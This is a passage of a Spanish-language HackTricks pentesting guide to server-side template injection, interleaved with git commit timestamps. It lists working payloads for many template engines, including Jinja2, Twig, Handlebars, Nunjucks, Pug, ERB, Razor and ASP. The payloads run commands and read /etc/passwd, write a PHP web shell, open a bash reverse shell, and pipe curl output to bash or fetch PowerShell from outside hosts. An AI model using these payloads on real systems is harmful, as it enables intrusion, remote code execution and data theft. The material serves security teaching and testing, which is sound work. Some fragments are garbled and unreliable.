2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```php
{$smarty.version}
{php}echo `id` ;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?> ",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
2024-02-05 02:44:49 +00:00
* En la sección de Smarty de [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2023-06-05 18:33:24 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty )
### Twig (PHP)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Error`
2024-02-05 02:44:49 +00:00
* `{{foobar}} Nothing`
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
2024-01-10 22:20:21 +00:00
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
2023-06-05 18:33:24 +00:00
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Twig - Formato de plantilla**
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```php
$output = $twig > render (
2023-06-25 23:32:46 +00:00
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
2023-06-05 18:33:24 +00:00
);
$output = $twig > render (
2023-06-25 23:32:46 +00:00
"Dear {first_name}",
array("first_name" => $user.first_name)
2023-06-05 18:33:24 +00:00
);
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
2024-02-05 02:44:49 +00:00
* En la sección Twig y Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2023-06-05 18:33:24 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig )
### Plates (PHP)
2024-02-06 14:25:10 +00:00
Plates es un motor de plantillas nativo de PHP, inspirado en Twig. Sin embargo, a diferencia de Twig, que introduce una nueva sintaxis, Plates aprovecha el código PHP nativo en las plantillas, lo que lo hace intuitivo para los desarrolladores de PHP.
2023-06-05 18:33:24 +00:00
2024-02-06 14:25:10 +00:00
Controlador:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
Plantilla de página:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
< h1 > User Profile< / h1 >
< p > Hello, <?=$this->e($name)?> < / p >
```
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
Plantilla de diseño:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```html
< html >
2023-06-25 23:32:46 +00:00
< head >
< title > <?=$this->e($title)?> < / title >
< / head >
< body >
<?=$this->section('content')?>
< / body >
2023-06-05 18:33:24 +00:00
< / html >
```
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
**Más información**
2024-02-23 16:28:45 +00:00
2024-02-06 14:25:10 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates )
2023-06-05 18:33:24 +00:00
### PHPlib y HTML\_Template\_PHPLIB (PHP)
[HTML\_Template\_PHPLIB ](https://github.com/pear/HTML\_Template\_PHPLIB ) es lo mismo que PHPlib pero portado a Pear.
`authors.tpl`
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```html
< html >
2023-06-25 23:32:46 +00:00
< head > < title > {PAGE_TITLE}< / title > < / head >
< body >
< table >
< caption > Authors< / caption >
< thead >
< tr > < th > Name< / th > < th > Email< / th > < / tr >
< / thead >
< tfoot >
< tr > < td colspan = "2" > {NUM_AUTHORS}< / td > < / tr >
< / tfoot >
< tbody >
2023-06-05 18:33:24 +00:00
<!-- BEGIN authorline -->
2023-06-25 23:32:46 +00:00
< tr > < td > {AUTHOR_NAME}< / td > < td > {AUTHOR_EMAIL}< / td > < / tr >
2023-06-05 18:33:24 +00:00
<!-- END authorline -->
2023-06-25 23:32:46 +00:00
< / tbody >
< / table >
< / body >
2023-06-05 18:33:24 +00:00
< / html >
```
2024-04-06 18:13:31 +00:00
2024-01-01 19:46:19 +00:00
`authors.php`
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```php
< ?php
//we want to display this author list
$authors = array(
2023-06-25 23:32:46 +00:00
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
2023-06-05 18:33:24 +00:00
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
2023-06-25 23:32:46 +00:00
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
2023-06-05 18:33:24 +00:00
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
**Más información**
2024-02-23 16:28:45 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib )
2024-02-05 02:44:49 +00:00
2024-02-06 14:25:10 +00:00
### Jade (NodeJS)
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
2024-01-01 19:46:19 +00:00
* En la sección de Jade de [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2023-06-05 18:33:24 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen )
### patTemplate (PHP)
2024-03-29 20:55:41 +00:00
> [patTemplate](https://github.com/wernerwa/pat-template) es un motor de plantillas PHP que no compila, el cual utiliza etiquetas XML para dividir un documento en diferentes partes.
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```xml
< patTemplate:tmpl name = "page" >
2023-06-25 23:32:46 +00:00
This is the main page.
< patTemplate:tmpl name = "foo" >
It contains another template.
< / patTemplate:tmpl >
< patTemplate:tmpl name = "hello" >
Hello {NAME}.< br / >
< / patTemplate:tmpl >
2023-06-05 18:33:24 +00:00
< / patTemplate:tmpl >
```
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
**Más información**
2024-02-23 16:28:45 +00:00
2024-02-06 14:25:10 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate )
2023-06-05 18:33:24 +00:00
### Handlebars (NodeJS)
2024-02-05 02:44:49 +00:00
Travesía de ruta (más información [aquí ](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/ )).
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
* \= Error
* ${7\*7} = ${7\*7}
2024-01-01 19:46:19 +00:00
* Nada
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
{{#with "s" as |string|}}
2023-06-25 23:32:46 +00:00
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
2023-06-05 18:33:24 +00:00
{{/with}}
URLencoded:
2023-07-11 13:30:02 +00:00
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
2023-06-05 18:33:24 +00:00
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html ](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html )
### JsRender (NodeJS)
2024-04-06 18:13:31 +00:00
| **Plantilla** | **Descripción** |
| ------------- | ------------------------------------------------- |
| | Evaluar y renderizar la salida |
| | Evaluar y renderizar la salida codificada en HTML |
| | Comentario |
| y | Permitir código (deshabilitado por defecto) |
2023-06-05 18:33:24 +00:00
* \= 49
2024-01-01 19:46:19 +00:00
**Lado del Cliente**
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Lado del Servidor**
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/ ](https://appcheck-ng.com/template-injection-jsrender-jsviews/ )
### PugJs (NodeJS)
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
2023-07-11 13:30:02 +00:00
**Ejemplo de renderizado en el servidor**
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
2024-01-01 19:46:19 +00:00
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/ ](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/ )
2023-06-05 18:33:24 +00:00
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
* \{{7\*7\}} = 49
* \{{foo\}} = Sin salida
2024-01-15 10:43:04 +00:00
* \#{7\*7} = #{7\*7}
2023-06-05 18:33:24 +00:00
* \{{console.log(1)\}} = Error
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>& 1\"')")()}}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine ](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine )
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```python
< %= system("whoami") %> #Execute code
< %= Dir.entries('/') %> #List folder
< %= File.open('/etc/passwd').read %> #Read file
< %= system('cat /etc/passwd') %>
< %= `ls /` %>
< %= IO.popen('ls /').readlines() %>
< % require 'open3' %>< % @a ,@b,@c,@d=Open3.popen3('whoami') %>< %= @b .readline()%>
< % require 'open4' %>< % @a ,@b,@c,@d=Open4.popen4('whoami') %>< %= @c .readline()%>
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby )
### Slim (Ruby)
* `{ 7 * 7 }`
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```
{ %x|env| }
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby )
### Python
2024-03-29 20:55:41 +00:00
Consulta la siguiente página para aprender trucos sobre **burlar las cajas de arena de ejecución de comandos arbitrarios** en python:
2023-06-05 18:33:24 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes ](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ )
{% endcontent-ref %}
### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Error`
* `{{7*'7'}} = 7777777`
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```python
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
2024-02-23 16:28:45 +00:00
2024-03-29 20:55:41 +00:00
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
{{os.system('whoami')}}
{{os.system('whoami')}}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
2024-02-23 16:28:45 +00:00
2024-02-06 14:25:10 +00:00
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado ](https://ajinabraham.com/blog/server-side-template-injection-in-tornado )
2023-06-05 18:33:24 +00:00
### Jinja2 (Python)
2024-02-05 02:44:49 +00:00
[Sitio web oficial ](http://jinja.pocoo.org )
2023-06-05 18:33:24 +00:00
2024-02-05 02:44:49 +00:00
> Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo para Unicode, un entorno de ejecución en sandbox opcional, ampliamente utilizado y con licencia BSD.
2023-06-05 18:33:24 +00:00
* `{{7*7}} = Error`
* `${7*7} = ${7*7}`
2024-03-16 10:05:32 +00:00
* `{{foobar}} Nada`
2023-06-05 18:33:24 +00:00
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
* `<div data-gb-custom-block data-tag="debug"></div>`
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```python
{% raw %}
{% debug %}
{% endraw %}
2024-02-23 16:28:45 +00:00
2024-03-29 20:55:41 +00:00
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Jinja2 - Formato de plantilla**
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}
2023-06-25 23:32:46 +00:00
< ul >
{% for user in users %}
< li > < a href = "{{ user.url }}" > {{ user.username }}< / a > < / li >
{% endfor %}
< / ul >
2023-06-05 18:33:24 +00:00
{% endblock %}
{% endraw %}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
[**RCE no dependiente de** ](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/ ) `__builtins__` :
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más detalles sobre cómo abusar de Jinja**:
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md ](jinja2-ssti.md )
{% endcontent-ref %}
2024-02-06 14:25:10 +00:00
Otros payloads en [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 )
2023-06-05 18:33:24 +00:00
### Mako (Python)
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```python
< %
import os
x=os.popen('id').read()
%>
${x}
```
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
**Más información**
2024-02-23 16:28:45 +00:00
2024-02-06 14:25:10 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako )
2023-06-05 18:33:24 +00:00
### Razor (.Net)
* `@(2+2) <= Éxito`
* `@() <= Éxito`
2024-02-05 02:44:49 +00:00
* `@("{{código}}") <= Éxito`
* `@ <= Éxito`
2023-06-05 18:33:24 +00:00
* `@{} <= ¡ERROR!`
* `@{ <= ¡ERROR!`
* `@(1+2)`
2024-01-10 22:20:21 +00:00
* `@( //Código C# )`
2023-06-05 18:33:24 +00:00
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
2024-03-29 20:55:41 +00:00
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AdABtAGUAdADYANAAuAGUAeABlAA==");`
2023-06-05 18:33:24 +00:00
2024-03-29 20:55:41 +00:00
El método .NET `System.Diagnostics.Process.Start` se puede utilizar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp ](https://github.com/cnotin/RazorVulnerableApp )
2023-06-05 18:33:24 +00:00
**Más información**
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/ ](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\ )-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/ ](https://www.schtech.co.uk/razor-pages-ssti-rce/ )
### ASP
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Nada
2024-02-05 02:44:49 +00:00
* `<%= response.write(date()) %>` = \<Date>
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
```xml
2023-06-05 18:33:24 +00:00
< %= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
2024-04-06 18:13:31 +00:00
2024-02-05 02:44:49 +00:00
**Más Información**
2023-06-05 18:33:24 +00:00
2024-02-05 02:44:49 +00:00
* [https://www.w3schools.com/asp/asp\_examples.asp ](https://www.w3schools.com/asp/asp\_examples.asp )
2023-06-05 18:33:24 +00:00
### Mojolicious (Perl)
2024-02-23 16:28:45 +00:00
Incluso si es perl, utiliza etiquetas como ERB en Ruby.
2023-06-05 18:33:24 +00:00
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```
< %= perl code %>
< % perl code %>
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
### SSTI en GO
2024-02-06 14:25:10 +00:00
En el motor de plantillas de Go, la confirmación de su uso se puede hacer con payloads específicos:
2023-06-05 18:33:24 +00:00
2024-02-06 14:25:10 +00:00
* `{{ . }}` : Revela la estructura de datos de entrada. Por ejemplo, si se pasa un objeto con un atributo `Password` , `{{ .Password }}` podría exponerlo.
* `{{printf "%s" "ssti" }}` : Se espera que muestre la cadena "ssti".
* `{{html "ssti"}}` , `{{js "ssti"}}` : Estos payloads deberían devolver "ssti" sin agregar "html" o "js". Se pueden explorar más directivas en la documentación de Go [aquí ](https://golang.org/pkg/text/template ).
2023-06-05 18:33:24 +00:00
**Explotación de XSS**
2024-03-26 07:58:42 +00:00
Con el paquete `text/template` , XSS puede ser directo al insertar el payload directamente. Por el contrario, el paquete `html/template` codifica la respuesta para evitar esto (por ejemplo, `{{"<script>alert(1)</script>"}}` resulta en `<script>alert(1)</script>` ). Sin embargo, la definición e invocación de plantillas en Go puede evitar esta codificación: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
2024-02-23 16:28:45 +00:00
2024-03-29 20:55:41 +00:00
vbnet Copy code
2023-06-05 18:33:24 +00:00
**Explotación de RCE**
2024-02-06 14:25:10 +00:00
La explotación de RCE difiere significativamente entre `html/template` y `text/template` . El módulo `text/template` permite llamar directamente a cualquier función pública (usando el valor "call"), lo cual no está permitido en `html/template` . La documentación de estos módulos está disponible [aquí para html/template ](https://golang.org/pkg/html/template/ ) y [aquí para text/template ](https://golang.org/pkg/text/template/ ).
2023-06-05 18:33:24 +00:00
2024-02-06 14:25:10 +00:00
Para RCE a través de SSTI en Go, se pueden invocar métodos de objetos. Por ejemplo, si el objeto proporcionado tiene un método `System` que ejecuta comandos, se puede explotar como `{{ .System "ls" }}` . Por lo general, es necesario acceder al código fuente para explotar esto, como en el ejemplo dado:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```go
func (p Person) Secret (test string) string {
2023-06-25 23:32:46 +00:00
out, _ := exec.Command(test).CombinedOutput()
return string(out)
2023-06-05 18:33:24 +00:00
}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html ](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html )
* [https://www.onsecurity.io/blog/go-ssti-method-research/ ](https://www.onsecurity.io/blog/go-ssti-method-research/ )
2024-02-05 02:44:49 +00:00
### Más exploits
2023-06-05 18:33:24 +00:00
2024-01-14 00:21:24 +00:00
Consulta el resto de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection ) para más exploits. También puedes encontrar información interesante sobre etiquetas en [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI ](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI )
2023-06-05 18:33:24 +00:00
2024-01-10 22:20:21 +00:00
## BlackHat PDF
2023-06-05 18:33:24 +00:00
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
2024-02-05 02:44:49 +00:00
## Ayuda relacionada
2023-06-05 18:33:24 +00:00
2023-07-11 13:30:02 +00:00
Si crees que podría ser útil, lee:
2023-06-05 18:33:24 +00:00
* [Trucos de Flask ](../../network-services-pentesting/pentesting-web/flask.md )
2024-04-06 18:13:31 +00:00
* [Funciones mágicas de Python ](https://github.com/carlospolop/hacktricks/blob/es/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md )
2023-06-05 18:33:24 +00:00
## Herramientas
2024-02-06 14:25:10 +00:00
* [https://github.com/Hackmanit/TInjA ](https://github.com/Hackmanit/TInjA )
* [https://github.com/vladko312/sstimap ](https://github.com/vladko312/sstimap )
* [https://github.com/epinna/tplmap ](https://github.com/epinna/tplmap )
* [https://github.com/Hackmanit/template-injection-table ](https://github.com/Hackmanit/template-injection-table )
2024-01-01 19:46:19 +00:00
2024-02-05 02:44:49 +00:00
## Lista de detección de fuerza bruta
2023-06-05 18:33:24 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2024-02-05 02:44:49 +00:00
## Práctica y referencias
2023-06-05 18:33:24 +00:00
* [https://portswigger.net/web-security/server-side-template-injection/exploiting ](https://portswigger.net/web-security/server-side-template-injection/exploiting )
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI ](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI )
2024-02-06 14:25:10 +00:00
* [https://portswigger.net/web-security/server-side-template-injection ](https://portswigger.net/web-security/server-side-template-injection )
2023-06-05 18:33:24 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-02-05 02:44:49 +00:00
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa** . Con **la misión de promover el conocimiento técnico** , este congreso es un punto de encuentro clave para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
2023-06-05 18:33:24 +00:00
{% embed url="https://www.rootedcon.com/" %}
< details >
2024-02-05 02:44:49 +00:00
< summary > < strong > Aprende hacking en AWS desde cero hasta experto con< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2024-01-01 19:46:19 +00:00
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
2024-03-29 20:55:41 +00:00
